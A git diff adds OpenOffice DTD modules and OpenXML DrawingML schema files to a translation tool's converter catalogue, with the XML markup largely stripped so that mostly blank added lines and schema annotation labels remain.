b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/nmspace.mod @@ -0,0 +1,80 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/office.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/office.dtd new file mode 100644 index 0000000..8fe6b47 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/office.dtd @@ -0,0 +1,84 @@ + + + + +%dtypes-mod; + +%nmspace-mod; + +%defs-mod; + +%office-mod; + +%style-mod; + +%meta-mod; + +%script-mod; + +%drawing-mod; + +%text-mod; + +%table-mod; + +%chart-mod; + +%datastyl-mod; + +%form-mod; + +%settings-mod; diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/office.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/office.mod new file mode 100644 index 0000000..066f808 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/office.mod @@ -0,0 +1,270 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/script.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/script.mod new file mode 100644 index 0000000..2c3c2a8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/script.mod @@ -0,0 +1,79 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/settings.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/settings.mod new file mode 100644 index 0000000..6478a13 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/settings.mod @@ -0,0 +1,77 @@ + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/style.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/style.mod new file mode 100644 index 0000000..392d08b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/style.mod @@ -0,0 +1,449 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/table.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/table.mod new file mode 100644 index 0000000..e9a23e5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/table.mod @@ -0,0 +1,522 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/text.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/text.mod new file mode 100644 index 0000000..a8c4946 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openoffice/text.mod @@ -0,0 +1,1126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dc.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dc.xsd new file mode 100644 index 0000000..f9110c4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dc.xsd @@ -0,0 +1,42 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dcmitype.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dcmitype.xsd new file mode 100644 index 0000000..4b47c82 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dcmitype.xsd @@ -0,0 +1,21 @@ + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dcterms.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dcterms.xsd new file mode 100644 index 0000000..e209cc2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dcterms.xsd @@ -0,0 +1,221 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-audiovideo.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-audiovideo.xsd new file mode 100644 index 0000000..06328c1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-audiovideo.xsd @@ -0,0 +1,73 @@ + + + + + + + + + + Video File + + + + + + + + + CD Audio + + + + Track + + + + + Time + + + + + + CD Audio + + + + + Start Time + + + + + End Time + + + + + + + Media Type + + + + + CD Audio + + + + + Audio File + + + + + + Video File + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-basestylesheet.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-basestylesheet.xsd new file mode 100644 index 0000000..25329a7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-basestylesheet.xsd @@ -0,0 +1,169 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Color + + + + + + Name + + + + + + + + + + + + Custom color + + + + + + + + + Latin Font + + + + + East Asian Font + + + + + Complex Script Font + + + + + + + + + + + + 3D Scene Properties + + + + + 3D properties + + + + + + + + + + Minor fonts + + + + + + + Name + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-basetypes.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-basetypes.xsd new file mode 100644 index 0000000..b5ccf50 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-basetypes.xsd @@ -0,0 +1,1054 @@ + + + + + + + + + + + Coordinate + + + + + + + + + + + + Positive Coordinate + + + + + + + + + + + + + + Angle + + + + + + Angle + + + + Value + + + + + + Fixed Angle + + + + + + + + + Positive Fixed Angle + + + + + + + + + Positive Fixed Angle + + + + Value + + + + + + Percentage + + + + + + Percentage + + + + Value + + + + + + Positive Percentage + + + + + + + + Positive Percentage + + + + Value + + + + + + Fixed Percentage + + + + + + + + + Fixed Percentage + + + + Value + + + + + + Positive Fixed Percentage + + + + + + + + + Positive Fixed Percentage + + + + Value + + + + + + Ratio + + + + Numerator + + + + + Denominator + + + + + + Point in 2D + + + + X-Axis Coordinate + + + + + Y Coordinate + + + + + + Size in 2D + + + + Horizontal Size + + + + + Vertical Size + + + + + + + + + + Complement Transform Methods + + + + + Inverse Transform Methods + + + + + Grayscale Transform Methods + + + + + + + Color Transform Methods + + + + + Tint + + + + + Shade + + + + + Complement + + + + + Inverse + + + + + Gray + + + + + Alpha + + + + + Alpha Offset + + + + + Alpha Modulation + + + + + Hue + + + + + Hue Offset + + + + + Hue Modulate + + + + + Saturation + + + + + Saturation Offset + + + + + Saturation Modulation + + + + + Luminance + + + + + Luminance Offset + + + + + Luminance Modulation + + + + + Red + + + + + Red Offset + + + + + Red Modulation + + + + + Green + + + + + Green Offset + + + + + Green Modification + + + + + Blue + + + + + Blue Offset + + + + + Blue Modification + + + + + + + + + scRGB Methods + + + + + Color Transforms + + + + + + Red + + + + + Green + + + + + Blue + + + + + + + + + + + sRGB Color Methods + + + + + Color Transforms + + + + + + Value + + + + + + HSL Color + + + + + Color Transforms + + + + + + Hue + + + + + Saturation + + + + + Luminance + + + + + + System Color Value + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + System Color Methods + + + + + Color Transforms + + + + + + Value + + + + + + Scheme Color + + + + + + + + + + + + + + + + + + + + + + + + Scheme Color Methods + + + + + Color Transforms + + + + + + Value + + + + + + Preset Color Value + + + + + + + + + Color Enum ( Azure ) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Preset Color Methods + + + + + Color Transforms + + + + + + Value + + + + + + + + + + + + + + + + + Scale in 2D + + + + + Horizontal Ratio + + + + + Vertical Ratio + + + + + + + 2D Transform Methods + + + + + Offset + + + + + Extents + + + + + + Rotation + + + + + Horizontal Flip + + + + + Vertical Flip + + + + + + Group 2D Transform Methods + + + + + Offset + + + + + Extents + + + + + Child Offset + + + + + Child Extents + + + + + + Rotation + + + + + Horizontal Flip + + + + + Vertical Flip + + + + + + Point in 3D + + + + X-Coordinate in 3D + + + + + Y-Coordinate in 3D + + + + + Z-Coordinate in 3D + + + + + + 3D Vector Methods + + + + Distance along X-axis in 3D + + + + + Distance along Y-axis in 3D + + + + + Distance along Z-axis in 3D + + + + + + Sphere Coordinate Methods + + + + Latitude + + + + + Longitude + + + + + Revolution + + + + + + Relative Rectangle + + + + Left + + + + + Top + + + + + Right + + + + + Bottom + + + + + + Rectangle Alignments + + + + + Rectangle Alignment Enum ( Top Left ) + + + + + Rectangle Alignment Enum ( Top ) + + + + + Rectangle Alignment Enum ( Top Right ) + + + + + Rectangle Alignment Enum ( Left ) + + + + + Rectangle Alignment Enum ( Center ) + + + + + Rectangle Alignment Enum ( Right ) + + + + + Rectangle Alignment Enum ( Bottom Left ) + + + + + Rectangle Alignment Enum ( Bottom ) + + + + + Rectangle Alignment Enum ( Bottom Right ) + + + + + + + Guid Method + + + + + + + + Color + + + + + + + + + + + + + Color + + + + + Color + + + + + + + Color MRU List + + + + + Color + + + + + + + Black and White Mode + + + + + + + + + + + + + + + + + + BLOB Data + + + + + + + Audio File + + + + Audio Data + + + + + + Hyperlink Methods + + + + + + + + Drawing Object Hyperlink Target + + + + + + + Target Frame + + + + + Hyperlink Tooltip + + + + + Add Hyperlink to Page History + + + + + + + + Drawing Element ID + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-chart.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-chart.xsd new file mode 100644 index 0000000..8ac91fa --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-chart.xsd @@ -0,0 +1,2787 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Index + + + + + + + + + + + + + Formula + + + + + Number Cache + + + + + + + + + + Number Reference + + + + + Number Literal + + + + + + Chart Extensibility + + + + + + + + + + + Index + + + + + + + + + + + + + Formula + + + + + + + + + + + + Rich Text + + + + + + Chart Extensibility + + + + + + + + + + + + + + Level + + + + + + + + + Formula + + + + + Multi Level String Cache + + + + + + + + + + Multi Level String Reference + + + + + Number Reference + + + + + Number Literal + + + + + + + + Chart Extensibility + + + + + + + + + + + + + Chart Extensibility + + + + + + + + + + + + Height + + + + + + + + + Inner + + + + + Outer + + + + + + + + + + + + + + + + + + + + + Layout Target + + + + + + + + + + Height + + + + + Chart Extensibility + + + + + + + + + Last Layout Outer + + + + + Last Layout + + + + + Manual Layout + + + + + Chart Extensibility + + + + + + + + + + Layout + + + + + Overlay + + + + + + + Chart Extensibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + X Rotation + + + + + Height Percent + + + + + Y Rotation + + + + + Depth Percent + + + + + Right Angle Axes + + + + + Perspective + + + + + Chart Extensibility + + + + + + + + + + + Chart Extensibility + + + + + + + + + + + + + + + Chart Extensibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Bubble Size Represents Area + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Custom Split + + + + + Percentage + + + + + + + + + + + + + + + + + + + + + + + + + + + + Chart Extensibility + + + + + + Number Format Code + + + + + + + + + Center + + + + + Left + + + + + + + + + + + + + Best Fit + + + + + Bottom + + + + + Center + + + + + Inside Base + + + + + Inside End + + + + + Left + + + + + Outside End + + + + + + + + + + + + + + Number Format + + + + + + + Data Label Position + + + + + + + + + + + Separator + + + + + + + Data Label + + + + + Layout + + + + + + + + + + + Index + + + + + + Delete + + + + + Data Label + + + + + + Chart Extensibility + + + + + + + Data Labels + + + + + + + Leader Lines + + + + + + + + + Data Label + + + + + + Delete + + + + + Data Labels + + + + + + Chart Extensibility + + + + + + + + + Circle + + + + + Dash + + + + + Diamond + + + + + Dot + + + + + None + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Chart Extensibility + + + + + + + + + Index + + + + + Invert if Negative + + + + + Marker + + + + + 3D Bubble + + + + + Explosion + + + + + + Chart Extensibility + + + + + + + + + Exponential + + + + + Linear + + + + + Logarithmic + + + + + Moving Average + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Layout + + + + + + Number Format + + + + + + + Chart Extensibility + + + + + + + + + Name + + + + + + Order + + + + + Period + + + + + Forward + + + + + Backward + + + + + Intercept + + + + + Display R Squared Value + + + + + Display Equation + + + + + + Chart Extensibility + + + + + + + + + + + + + + + + + + Both + + + + + Minus + + + + + + + + + + + + + Custom Error Bars + + + + + Fixed Value + + + + + Percentage + + + + + + + + + + + + + + Error Bar Direction + + + + + Error Bar Type + + + + + Error Bar Value Type + + + + + No End Cap + + + + + Plus + + + + + Minus + + + + + + + Chart Extensibility + + + + + + + + + + + + + + Gap Width + + + + + + Down Bars + + + + + Chart Extensibility + + + + + + + + + Index + + + + + Order + + + + + + + + + + + + Marker + + + + + Data Point + + + + + Data Labels + + + + + + Error Bars + + + + + Category Axis Data + + + + + + + Chart Extensibility + + + + + + + + + + Marker + + + + + Data Point + + + + + Data Labels + + + + + + Error Bars + + + + + + + + Chart Extensibility + + + + + + + + + + Marker + + + + + Data Point + + + + + Data Labels + + + + + Category Axis Data + + + + + + Chart Extensibility + + + + + + + + + + Data Point + + + + + Invert if Negative + + + + + Data Labels + + + + + + Error Bars + + + + + Category Axis Data + + + + + + + Chart Extensibility + + + + + + + + + + Data Point + + + + + Data Labels + + + + + + Error Bars + + + + + Category Axis Data + + + + + + Chart Extensibility + + + + + + + + + + Explosion + + + + + Data Point + + + + + Data Labels + + + + + Category Axis Data + + + + + + Chart Extensibility + + + + + + + + + + Invert if Negative + + + + + Data Point + + + + + Data Labels + + + + + + Error Bars + + + + + + + Bubble Size + + + + + 3D Bubble + + + + + Chart Extensibility + + + + + + + + + + Category Axis Data + + + + + + Chart Extensibility + + + + + + + + + 100% Stacked + + + + + + + + + + + + + + + + + + + Grouping + + + + + + + Data Labels + + + + + Drop Lines + + + + + + + + + + High Low Lines + + + + + + Marker + + + + + + Axis ID + + + + + Chart Extensibility + + + + + + + + + + Gap Depth + + + + + Axis ID + + + + + Chart Extensibility + + + + + + + + + + Data Labels + + + + + High Low Lines + + + + + + Axis ID + + + + + Chart Extensibility + + + + + + + + + None + + + + + Line + + + + + Line with Markers + + + + + Marker + + + + + + + + + + + + + + Scatter Style + + + + + + + Data Labels + + + + + Axis ID + + + + + Chart Extensibility + + + + + + + + + + Marker + + + + + Filled + + + + + + + + + + + + Radar Style + + + + + + + Data Labels + + + + + Axis ID + + + + + Chart Extensibility + + + + + + + + + 100% Stacked + + + + + Clustered + + + + + + + + + + + + + + Bar + + + + + Column + + + + + + + + + + + + Cone + + + + + Cone to Max + + + + + Box + + + + + Cylinder + + + + + + + + + + + + + + Bar Direction + + + + + Grouping + + + + + + + Data Labels + + + + + + + + + + Gap Width + + + + + Overlap + + + + + + Axis ID + + + + + Chart Extensibility + + + + + + + + + + Gap Width + + + + + Gap Depth + + + + + + Axis ID + + + + + Chart Extensibility + + + + + + + + + Grouping + + + + + + + Data Labels + + + + + Drop Lines + + + + + + + + + + Axis ID + + + + + Chart Extensibility + + + + + + + + + + Gap Depth + + + + + Axis ID + + + + + Chart Extensibility + + + + + + + + + + + Data Labels + + + + + + + + + + First Slice Angle + + + + + Chart Extensibility + + + + + + + + + + Chart Extensibility + + + + + + + + + + First Slice Angle + + + + + Hole Size + + + + + Chart Extensibility + + + + + + + + + + Bar + + + + + + + + + + + + Pie of Pie or Bar of Pie Type + + + + + + Gap Width + + + + + + + Custom Split + + + + + Second Pie Size + + + + + + Chart Extensibility + + + + + + + + + + + Data Labels + + + + + 3D Bubble + + + + + Bubble Scale + + + + + + + Axis ID + + + + + Chart Extensibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + Axis ID + + + + + Chart Extensibility + + + + + + + + + + Axis ID + + + + + Chart Extensibility + + + + + + + + + Bottom + + + + + Left + + + + + + + + + + + + + + Axis Crosses at Zero + + + + + Maximum + + + + + Minimum + + + + + + + + + + + + Between + + + + + Midpoint of Category + + + + + + + + + + + + Cross + + + + + Inside + + + + + None + + + + + Outside + + + + + + + + + + + + High + + + + + Low + + + + + Next To + + + + + None + + + + + + + + + + + + + + + + + + + + Days + + + + + Months + + + + + + + + + + + + + + + + + + + + + Hundreds + + + + + + + Hundred Thousands + + + + + Millions + + + + + + Hundred Millions + + + + + Billions + + + + + + + + + + + + + Layout + + + + + + + + + + + + + Custom Display Unit + + + + + Built in Display Unit Label Size + + + + + + Display Units Label + + + + + Chart Extensibility + + + + + + + + + Maximum to Minimum + + + + + Minimum to Maximum + + + + + + + + + + + + + + + + + + + + + Logarithmic Base + + + + + Axis Orientation + + + + + Maximum + + + + + Minimum + + + + + Chart Extensibility + + + + + + + + + + + + + + + + + + Axis ID + + + + + Scaling + + + + + Delete + + + + + Axis Position + + + + + Major Gridlines + + + + + Minor Gridlines + + + + + + Number Format + + + + + Major Tick Mark + + + + + Minor Tick Mark + + + + + + + + + + + + + Automatic Category Axis + + + + + Crossing Axis ID + + + + + + + + + Cross Between + + + + + Label Align + + + + + Label Offset + + + + + + + No Multi-level Labels + + + + + Chart Extensibility + + + + + + + + + + Automatic Category Axis + + + + + Crossing Axis ID + + + + + + + + + Cross Between + + + + + Label Offset + + + + + Base Time Unit + + + + + Major Time Unit + + + + + Major Unit + + + + + Minor Time Unit + + + + + Minor Unit + + + + + Chart Extensibility + + + + + + + + + + + + Chart Extensibility + + + + + + + + + + Crossing Axis ID + + + + + + Special Crossing Value + + + + + Crossing Value + + + + + + Cross Between + + + + + Major Unit + + + + + Minor Unit + + + + + Display Units + + + + + Chart Extensibility + + + + + + + + + Layout + + + + + + Area Charts + + + + + 3D Area Charts + + + + + Line Charts + + + + + 3D Line Charts + + + + + Stock Charts + + + + + Radar Charts + + + + + Scatter Charts + + + + + Pie Charts + + + + + 3D Pie Charts + + + + + Doughnut Charts + + + + + Bar Charts + + + + + 3D Bar Charts + + + + + Pie of Pie or Bar of Pie Charts + + + + + Surface Charts + + + + + 3D Surface Charts + + + + + Bubble Charts + + + + + + + + Category Axis Data + + + + + Date Axis + + + + + Series Axis + + + + + + Data Table + + + + + + Chart Extensibility + + + + + + + + + Index + + + + + + + Marker + + + + + Data Label + + + + + Chart Extensibility + + + + + + + + + + + + + + Bottom + + + + + + Left + + + + + + + + + + + + Legend Entry + + + + + + + + + + Index + + + + + + Delete + + + + + Legend Entry + + + + + + Chart Extensibility + + + + + + + + + Legend Position + + + + + Legend Entry + + + + + Layout + + + + + Overlay + + + + + + + Chart Extensibility + + + + + + + + + + Gap + + + + + + + + + + + + + + + + + Floor + + + + + + Back Wall + + + + + Plot Area + + + + + Legend + + + + + Plot Visible Only + + + + + Display Blanks As + + + + + + Chart Extensibility + + + + + + + + + + + + + + + + + + Name + + + + + Format ID + + + + + Chart Extensibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 1904 Date System + + + + + + + + + Chart + + + + + + + External Data Relationship + + + + + + + Chart Extensibility + + + + + + + Chart Space + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-chartDrawing.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-chartDrawing.xsd new file mode 100644 index 0000000..7f83cc6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-chartDrawing.xsd @@ -0,0 +1,246 @@ + + + + + + + + + + + Chart Non Visual Properties + + + + + Chart Non Visual Shape Properties + + + + + + + + + Shape Non Visual Properties + + + + + Shape Properties + + + + + Shape Style + + + + + Shape Text + + + + + + + + + Chart Non Visual Properties + + + + + Connector Non Visual Properties + + + + + + + + + Connector Non Visual Properties + + + + + Connection Shape Properties + + + + + Connection Shape Style + + + + + + + + + Chart Non Visual Properties + + + + + Chart Non Visual Graphic Frame Properties + + + + + + + + + Graphic Frame Non Visual Properties + + + + + Graphic Frame Transform + + + + + Graphical Object + + + + + + Macro + + + + + + + + Chart Non Visual Properties + + + + + Chart Non Visual Group Shape Properties + + + + + + + + + Group Shape Non Visual Properties + + + + + Group Shape Properties + + + + + + Shape Definition + + + + + Group Shape + + + + + Graphic Frame + + + + + Connector Shape + + + + + + + + Choice of Shapes + + + + + + Shape Definition + + + + + Group Shape + + + + + Graphic Frame + + + + + Connector Shape + + + + + + + + Chart Marker Coordinate Value + + + + + + + + + + + Relative X Coordinate + + + + + Relative Y Coordinate + + + + + + + + + From + + + + + Relative Anchor End Point + + + + + Choice of Shape Types + + + + + + + + + Relative Size Anchor + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-compat.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-compat.xsd new file mode 100644 index 0000000..026760b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-compat.xsd @@ -0,0 +1,15 @@ + + + + + + Compat E2O Container + + + + Shape ID + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramcolortransform.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramcolortransform.xsd new file mode 100644 index 0000000..b3a6f85 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramcolortransform.xsd @@ -0,0 +1,273 @@ + + + + + + + Color Transform Name + + + + Language + + + + + Description Value + + + + + + Color Transform Description + + + + Language + + + + + Description Value + + + + + + Color Transform Category + + + + Category Type + + + + + Priority + + + + + + Color Transform Category List + + + + + Color Transform Category + + + + + + + Color Application Method Type + + + + + Span + + + + + Cycle + + + + + Repeat + + + + + + + Hue Direction + + + + + Clockwise Hue Direction + + + + + Counterclockwise Hue Direction + + + + + + + Color + + + + + + + Color Application Method Type + + + + + Hue Direction + + + + + + Color Transform Style Label + + + + + Fill Color List + + + + + Line Color List + + + + + Effect Color List + + + + + Text Line Color List + + + + + Text Fill Color List + + + + + Text Effect Color List + + + + + + + Name + + + + + + Color Transform Version + + + + + + + + Color Transform + + + + + Title + + + + + Description + + + + + Color Transform Category List + + + + + Style Label + + + + + + + Unique ID + + + + + Minimum Version + + + + + + Color Transform + + + + + Color Transform Header + + + + + Title + + + + + Description + + + + + Color Transform Category List + + + + + + + Unique ID + + + + + Minimum Version + + + + + Resource ID + + + + + + Color Transform Header + + + + + Color Transform Header List + + + + + Color Transform Header + + + + + + + Color Transform Header List + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramdatamodel.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramdatamodel.xsd new file mode 100644 index 0000000..86fda0c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramdatamodel.xsd @@ -0,0 +1,230 @@ + + + + + + + + + + Point Type + + + + + Node + + + + + Assistant Element + + + + + Document + + + + + Presentation + + + + + Parent Transition + + + + + Sibling Transition + + + + + Unknown Point Type + + + + + + + Point + + + + + Property Set + + + + + Shape Properties + + + + + Shape Style + + + + + Text Body + + + + + + + Model Identifier + + + + + Point Type + + + + + Connection Identifier + + + + + + Point List + + + + + A Point + + + + + + + Connection Type + + + + + Parent Of + + + + + Presentation Of + + + + + Presentation Parent Of + + + + + Unknown Relationship + + + + + + + Connection + + + + + + + Model Identifier + + + + + Point Type + + + + + Source Identifier + + + + + Destination Identifier + + + + + Source Position + + + + + Destination Position + + + + + 